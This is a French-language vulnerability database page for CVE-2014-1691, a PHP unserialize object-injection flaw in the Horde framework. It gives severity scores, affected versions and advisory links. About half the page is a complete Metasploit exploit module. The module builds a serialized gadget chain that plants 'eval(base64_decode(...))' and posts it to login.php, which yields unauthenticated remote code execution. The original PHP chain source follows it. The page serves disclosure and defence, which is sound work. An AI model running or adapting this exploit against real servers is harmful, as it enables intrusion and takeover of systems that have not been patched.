CVE-2014-1691 : Détail

CVE-2014-1691

Code Injection
A03-Injection
94.49%V3
Network
2014-04-01
13h00 +00:00
2014-04-01
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The framework/Util/lib/Horde/Variables.php script in the Util library in Horde before 5.1.1 allows remote attackers to conduct object injection attacks and execute arbitrary PHP code via a crafted serialized object in the _formvars form.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32439

Date de publication : 2014-03-21 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde Framework Unserialize PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be abused to allow unauthenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file. The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean class to reach a dangerous call_user_func() call in the Horde_Prefs class. }, 'Author' => [ 'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor) 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-1691' ], [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ], [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ], [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ ['Horde 5', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 27 2013' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"]) ], self.class) end def check flag = rand_text_alpha(rand(10)+20) res = send_request_exploit("print #{flag};die;") if res and res.body and res.body.to_s =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Testing injection...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...") end print_status("#{peer} - Exploiting the unserialize()...") send_request_exploit(payload.encoded) end def send_request_exploit(p) php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();" payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";" payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";" payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}" payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}" payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}" send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, "login.php"), 'method' => 'POST', 'vars_post' => { '_formvars' => payload_serialized }, 'headers' => { 'Cmd' => Rex::Text.encode_base64(p) } }) end end =begin PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection class Horde_Config { protected $_oldConfig = "phpinfo();die;"; } class Horde_Prefs_Scope { protected $_prefs = array(1); } class Horde_Prefs { protected $_opts, $_scopes; function __construct() { $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig'); $this->_scopes['horde'] = new Horde_Prefs_Scope; } } class Horde_Prefs_Identity { protected $_prefs, $_prefnames; function __construct() { $this->_prefs = new Horde_Prefs; $this->_prefnames['identities'] = 0; } } class Horde_Kolab_Server_Decorator_Clean { private $_server, $_added = array(1); function __construct() { $this->_server = new Horde_Prefs_Identity; } } $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); =end

Products Mentioned

Configuraton 0

Horde>>Horde_application_framework >> Version To (including) 5.1.0

Horde>>Horde_application_framework >> Version 5.0.0

Horde>>Horde_application_framework >> Version 5.0.1

Horde>>Horde_application_framework >> Version 5.0.2

Horde>>Horde_application_framework >> Version 5.0.3

Horde>>Horde_application_framework >> Version 5.0.4

Références

http://seclists.org/oss-sec/2014/q1/156
Tags : mailing-list, x_refsource_MLIST
http://seclists.org/oss-sec/2014/q1/153
Tags : mailing-list, x_refsource_MLIST
http://seclists.org/oss-sec/2014/q1/169
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2014/dsa-2853
Tags : vendor-advisory, x_refsource_DEBIAN